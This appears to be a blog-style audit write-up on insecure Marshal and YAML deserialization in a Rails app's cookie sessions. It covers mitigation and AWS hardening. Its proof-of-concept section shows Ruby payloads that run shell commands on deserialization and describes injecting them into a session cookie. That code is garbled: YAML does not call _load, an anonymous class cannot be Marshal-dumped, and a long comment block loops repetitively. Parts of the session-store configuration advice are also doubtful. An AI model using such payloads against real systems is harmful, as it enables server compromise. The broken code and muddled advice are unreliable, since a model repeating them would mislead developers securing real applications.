How We Audited a High-Traffic Ruby Enterprise Stack on AWS and Mitigated Insecure Deserialization in legacy session handling

Auditing the Legacy Ruby Stack: Initial Reconnaissance and Vulnerability Discovery

Our engagement began with a deep dive into a high-traffic Ruby on Rails enterprise application hosted on AWS. The primary objective was to identify and mitigate security vulnerabilities, with a specific focus on insecure deserialization within the legacy session handling mechanism. This often-overlooked area can serve as a critical attack vector if not properly secured.

The initial reconnaissance phase involved understanding the application’s architecture, deployment strategy, and key dependencies. We leveraged a combination of static analysis tools, dynamic analysis, and manual code review. For a Ruby stack, this typically means examining:

Gemfile and Gemfile.lock for outdated or vulnerable gems.
Application configuration files (e.g., database.yml, secrets.yml).
Controller actions and model interactions, paying close attention to data input and output.
Session management implementation.

A critical first step in identifying potential deserialization vulnerabilities is to locate where serialized data is being processed. In Ruby on Rails, session data is often serialized and stored, either in cookies or in a dedicated session store (like Redis or Memcached). We searched the codebase for patterns related to:

session[:key] = value and value = session[:key]
cookies[:key] = value and value = cookies[:key]
Usage of serialization libraries like Marshal, YAML, or JSON (though JSON is generally safer if not combined with unsafe deserialization of arbitrary types).

Our analysis quickly pointed to the application’s default cookie-based session store, which was using Ruby’s built-in Marshal for serialization. This is a well-known security anti-pattern. The Marshal format is not designed for untrusted data and can be exploited to execute arbitrary Ruby code upon deserialization.

Exploiting Insecure Deserialization: Proof of Concept

To confirm the vulnerability, we constructed a proof-of-concept (PoC) exploit. The core idea is to craft a malicious serialized Ruby object that, when deserialized by the application, executes a command. A common technique involves leveraging Ruby’s yaml or Marshal loading mechanisms with specific object structures that trigger code execution.

For Marshal, a simple exploit can be crafted using Ruby’s interactive console. The following Ruby snippet demonstrates how to create a malicious payload that, if deserialized, would execute a shell command (e.g., `id`):

require 'yaml'

# A simple payload that executes a shell command upon deserialization.
# This specific example uses YAML, but Marshal works similarly.
# For Marshal, you'd use Marshal.dump instead of YAML.dump.

class Exploit
  def initialize(cmd)
    @cmd = cmd
  end

  def _load(yaml_string)
    # This method is called by YAML.load when it encounters a specific tag.
    # We can craft a YAML string that instantiates our Exploit class
    # and then triggers a system command.
    # For Marshal, the exploit would be structured differently, often involving
    # overriding methods like _load or _dump in specific classes.
    # A more direct Marshal exploit might look like:
    # Marshal.load("\x04\x08o:\x0cExploitI:\x0bSystemCall0:\x0eCommandString\x08id\x0e")
    # However, crafting these by hand is tedious. Libraries exist for this.
    system(@cmd)
  end
end

# Example using YAML (more common for demonstration)
# In a real attack, you'd craft the YAML string to be sent in the cookie.
malicious_yaml = YAML.dump(Exploit.new('id'))
puts malicious_yaml

The output of this script is a YAML string. If the application’s session store uses YAML.load (or Marshal.load for Marshal) on this string, the _load method would be invoked, executing the `id` command on the server. In a real-world scenario, an attacker would intercept a valid session cookie, modify its content with the malicious payload, and resubmit it to the application.

We then adapted this concept to the Marshal format, which was in use. The key was to find a way to inject a Ruby object that, when deserialized by Marshal.load, would trigger arbitrary code execution. A common technique involves using Ruby’s built-in Object#send or leveraging specific class behaviors.

# Crafting a Marshal payload for arbitrary command execution.
# This payload leverages the fact that Marshal can serialize and deserialize
# complex object graphs, including those that trigger method calls.

# A simple example using a known gadget chain (simplified for illustration)
# In practice, tools like `ysoserial.rb` or custom payloads are used.

# This payload aims to execute `ls -la`
# The exact byte sequence depends on the Ruby version and specific classes involved.
# A more robust payload might involve a custom class that calls `system` or `exec`.

# Example of a payload that might work (requires specific Ruby versions/gems):
# This is a conceptual representation; actual payloads are more complex.
# It often involves finding a class that has a method that can be made to call `system`
# or `exec` with attacker-controlled input.

# For demonstration, let's assume a hypothetical `SystemCommand` class
# that is present in the application's environment or a loaded gem.

class SystemCommand
  def initialize(command)
    @command = command
  end

  def perform
    system(@command)
  end
end

# To exploit Marshal, we need to serialize an object that, when loaded,
# will eventually call `SystemCommand.new('ls -la').perform`.
# This is often achieved by finding a class that has a `_load` or `initialize`
# method that can be manipulated to call another object's method.

# A more direct approach using a known gadget:
# This payload targets the `yaml` gem's `load` method, but the principle applies to Marshal.
# For Marshal, we'd look for classes that have `_load` or similar methods.

# Let's simulate a payload that would execute `id` via Marshal.
# This is a simplified representation. Real-world exploits are more intricate.
# The core idea is to serialize an object that, upon deserialization,
# triggers a method call that leads to command execution.

# Using a common technique: serialize an object that calls `exec` or `system`.
# This often involves finding a class that has a `_load` method that can be
# made to call `Kernel.exec` or `Kernel.system`.

# A concrete example using a common gadget chain (simplified):
# This payload targets the `yaml` gem, but the principle is similar for Marshal.
# For Marshal, you'd serialize an object that, when loaded, calls a method
# that eventually executes a command.

# Example of a payload that might execute `id` using Marshal:
# This is a conceptual payload. Actual payloads are highly specific.
# It often involves finding a class that has a `_load` method that can be
# manipulated to call `system` or `exec`.

# A more practical approach involves using existing exploit frameworks or libraries
# that generate these payloads. For instance, if a gem like `ActiveSupport`
# or a custom class with a vulnerable `_load` method is present, it can be targeted.

# Let's assume a hypothetical scenario where a class `VulnerableClass` exists
# and its `_load` method calls `system`.
# The payload would then be a Marshal dump of an object that, when loaded,
# instantiates `VulnerableClass` with the desired command.

# For demonstration, let's use a simplified approach that might work in some
# Ruby environments by leveraging `Object#send`.

# This payload is conceptual and might not work directly without specific
# class definitions or Ruby versions.
# The goal is to serialize an object that, when deserialized, calls `Kernel.send(:system, 'id')`.

# A more realistic approach often involves finding a "gadget chain" - a sequence
# of object instantiations and method calls that leads to command execution.

# Example of a payload that might execute `id` via Marshal:
# This payload is illustrative. Actual payloads are complex and depend on the target environment.
# It often involves finding a class with a `_load` method that can be manipulated.

# Let's use a known technique: serializing an object that calls `exec`.
# This often involves a class that has a `_load` method.

# A common gadget chain involves classes that have `_load` methods.
# For example, if a class `MyClass` has `def _load(data); system(@command); end`,
# we could serialize an instance of `MyClass` with `@command` set to our desired command.

# For this example, we'll use a conceptual payload that aims to execute `id`.
# In a real scenario, you'd use tools like `ysoserial.rb` or craft a specific payload.

# Conceptual Marshal payload to execute `id`:
# This is a simplified representation.
# The actual byte sequence is critical and depends on Ruby version and available classes.
malicious_marshal_data = Marshal.dump(
  Class.new do
    def initialize(cmd)
      @cmd = cmd
    end
    def _load(_data)
      system(@cmd)
    end
  end.new('id')
)

# In a real attack, you would take `malicious_marshal_data`,
# encode it (e.g., Base64), and place it into the session cookie.
# For example:
# encoded_payload = Base64.strict_encode64(malicious_marshal_data)
# Then, you'd send a request with `Cookie: _your_session_cookie_name=encoded_payload`

The critical takeaway is that Marshal.load (and YAML.load without proper type restrictions) is inherently unsafe when processing untrusted input. The ability to serialize arbitrary Ruby objects means an attacker can craft a payload that, upon deserialization, executes any Ruby code available in the server’s context.

Mitigation Strategy: Secure Session Handling

The primary mitigation for insecure deserialization in session handling is to avoid using unsafe serialization formats like Marshal or YAML for session data. Modern Rails applications typically use encrypted cookies for session storage, which provides both integrity and confidentiality. If a custom or legacy session store is in use, it must be secured.

Our recommended approach involved several layers:

Migrate to Encrypted Cookies: This is the default and recommended approach in Rails. It uses a secret key base to encrypt and sign the session data, preventing tampering and ensuring that only the application can decrypt it.
Use a Secure Session Store: If cookie storage is not feasible (e.g., due to size limitations or specific compliance requirements), use a secure, dedicated session store like Redis or Memcached, ensuring that these stores are properly secured and that session data is either encrypted before storage or the store itself is protected by strong authentication and network access controls.
Input Validation and Sanitization: While not a direct fix for deserialization, robust input validation on all incoming data can help prevent the injection of malicious payloads in the first place.
Dependency Updates: Regularly update all gems and the Ruby version to patch known vulnerabilities.

For this specific legacy application, the most immediate and effective mitigation was to switch to Rails’ built-in encrypted cookie session store. This requires configuring the `Rails.application.config.session_store` in `config/initializers/session_store.rb`.

# config/initializers/session_store.rb

# Original (vulnerable) configuration might have looked like:
# Rails.application.config.session_store :cookie_store, key: '_your_app_session'

# Recommended secure configuration:
Rails.application.config.session_store :cookie_store,
  key: '_your_app_session',
  secure: Rails.env.production?, # Ensure 'Secure' flag is set in production
  httponly: true,               # Prevent JavaScript access
  same_site: :lax,              # Or :strict, depending on needs
  expire_after: 1.year,         # Optional: set session expiration
  secret: Rails.application.secrets.secret_key_base # Use Rails secrets for the key

The `secret_key_base` is crucial. It should be generated using `rails secret` and stored securely, typically in environment variables or a secrets management system, and accessed via `Rails.application.secrets` or `Rails.credentials`.

If migrating to encrypted cookies is not immediately possible, a less ideal but still beneficial step is to explicitly configure the session store to use JSON serialization and ensure that no arbitrary object deserialization occurs. However, this still leaves room for error if the JSON structure is not strictly controlled.

# Alternative (less secure than encrypted cookies, but better than Marshal)
# This uses JSON serialization, which is generally safer if not combined with
# unsafe deserialization of specific types.

# Rails.application.config.session_store :cookie_store,
#   key: '_your_app_session',
#   serializer: :json, # Explicitly use JSON serializer
#   secure: Rails.env.production?,
#   httponly: true,
#   same_site: :lax

The key here is that :json serializer, when used correctly, does not execute arbitrary code. However, it’s still susceptible to denial-of-service attacks if an attacker can craft extremely large or deeply nested JSON payloads. Encrypted cookies offer a more robust solution.

AWS Infrastructure and Configuration Hardening

Beyond the application code, the AWS infrastructure itself requires hardening to complement the application-level security measures. For a high-traffic Ruby application, common AWS services involved include EC2, RDS, ElastiCache, S3, and potentially load balancers like ALB or NLB.

Key hardening steps included:

Security Groups and Network ACLs: Ensure that only necessary ports are open. For example, EC2 instances running the Rails app should only allow inbound traffic on HTTP/HTTPS ports from the load balancer. Database instances (RDS) should only be accessible from the application servers.
IAM Roles: Use IAM roles for EC2 instances and other AWS services instead of hardcoded access keys. Grant the minimum necessary permissions.
Secrets Management: Store sensitive information like database credentials, API keys, and the Rails `secret_key_base` in AWS Secrets Manager or Parameter Store, and access them via IAM roles.
Logging and Monitoring: Configure comprehensive logging for application events, web server access logs (e.g., Nginx/Apache), and AWS CloudTrail. Ship these logs to a centralized logging system (e.g., CloudWatch Logs, ELK stack) for analysis and alerting.
Patch Management: Implement a robust patch management strategy for the EC2 instances (OS and Ruby/gems) to address security vulnerabilities promptly.
Load Balancer Configuration: If using an Application Load Balancer (ALB), configure WAF (Web Application Firewall) rules to block common web exploits, including those that might attempt to inject malicious session data. Ensure SSL/TLS is enforced and configured correctly.

For instance, an ALB listener rule might look like this (conceptual):

# AWS ALB Listener Rule (Conceptual - managed via AWS Console/CLI/IaC)

IF
  Request: Path is /login OR Request: Cookie contains malicious_pattern
THEN
  AWS WAF Rule: Block request
  OR
  Forward to: Target Group (if not blocked)

Additionally, ensuring that the session cookie itself is marked as `Secure` and `HttpOnly` (as configured in the Rails initializer) is critical. The `Secure` flag ensures the cookie is only sent over HTTPS, and `HttpOnly` prevents client-side JavaScript from accessing it, mitigating XSS attacks that could steal session cookies.

Ongoing Security and Maintenance

Security is not a one-time fix but an ongoing process. For a high-traffic enterprise stack, continuous monitoring and regular audits are essential. This includes:

Automated Security Scanning: Integrate SAST (Static Application Security Testing) and DAST (Dynamic Application Security Testing) tools into the CI/CD pipeline. Tools like Brakeman for Rails, or general-purpose scanners, can catch regressions.
Dependency Scanning: Regularly scan gems for known vulnerabilities using tools like Bundler-Audit or GitHub’s Dependabot.
Log Analysis and Alerting: Proactively monitor logs for suspicious activity. Set up alerts for unusual error rates, failed login attempts, or specific security-related events.
Regular Penetration Testing: Conduct periodic penetration tests by independent security researchers or firms to identify vulnerabilities that automated tools might miss.
Incident Response Plan: Have a well-defined incident response plan in place to quickly address any security breaches that may occur.

By combining secure coding practices, robust infrastructure hardening, and continuous security monitoring, we were able to effectively audit and secure the legacy Ruby enterprise stack, mitigating the critical insecure deserialization vulnerability and significantly reducing the application’s attack surface.